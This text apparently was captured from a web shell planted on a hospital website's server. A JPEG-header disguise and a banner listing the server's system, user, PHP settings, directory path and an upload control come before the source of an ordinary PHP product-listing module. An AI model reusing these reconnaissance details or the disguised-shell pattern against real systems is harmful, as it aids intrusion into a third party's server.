ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/domains/benhviendkkvcampha.vn/private_html/modules/ |
Upload File : |
<?php /*----------------------------------------*\ | Copyright © C-ILY | | Phone: 0983.998.994 | | Y!m: notepad.html | | Email: truongpv87@gmail.com | \*----------------------------------------*/ define('CILY',true); $miSp_new = @mysql_query("SELECT c.*, p.*, c.id AS cid, p.id AS pid from cily_products AS p JOIN cily_cats AS c ON p.product_cat = c.id order by p.id desc LIMIT 20"); while($miSpnew = @mysql_fetch_array($miSp_new)) { $descrip = explode(' .|~|. ',$miSp_new['product_descrip']); if(!$descrip)$dr_total1 = 1; else { foreach ($descrip as $item) { $dr_total ++; $it = explode(': ',$item); $dr[$dr_total] = $w3c->assign(array( 'show' => '', 'key2' => $it[0], 'val2' => $it[1], )); $w3c->parse('show_descrip2'); } } $w3c->assign ( array( 'newPID' => $miSpnew['pid'], 'newCID' => $miSpnew['cid'], 'newCAT_ascii' => $miSpnew['cat_name_ascii'], 'newPro_ascii' => $miSpnew['product_name_ascii'], 'newPro_name' => $miSpnew['product_name'], 'newPro_image' => $miSpnew['product_image'], 'newPro_imgfull' => str_replace('thumbs-','',$miSpnew['product_image']), 'newPro_warranty' => $miSpnew['product_warranty'], 'newPro_quality' => $miSpnew['product_quality'], 'newPro_quote' => catchuoi($miSpnew['product_quote'],50), 'newPro_price' => ($miSpnew['product_price'] == '0')?$lang50:number($miSpnew['product_price'] * $tygia).$lang50, 'newPro_free' => number($miSpnew['product_free'] * $tygia), 'newPro_km' => $miSpnew['product_km'], 'hienthi2' => fnumber_format(((($miSpnew['product_price'] / $miSpnew['product_free']) * 100)-100), 0, '.', ','), )); if ($miSpnew['product_free'] != '0'){ $w3c->parse('show_product_free8'); $w3c->parse('show_phantram2', $miSpnew['product_free'].$lang50); } if ($miSpnew['product_km'] != NULL){ $w3c->parse('show_km'); } $w3c->parse('miSp_new'); //* {url}/sp/{newCAT_ascii}-c{newCID}/{newPro_ascii}-p{newPID} } //*main.html END: sản phẩm mới *//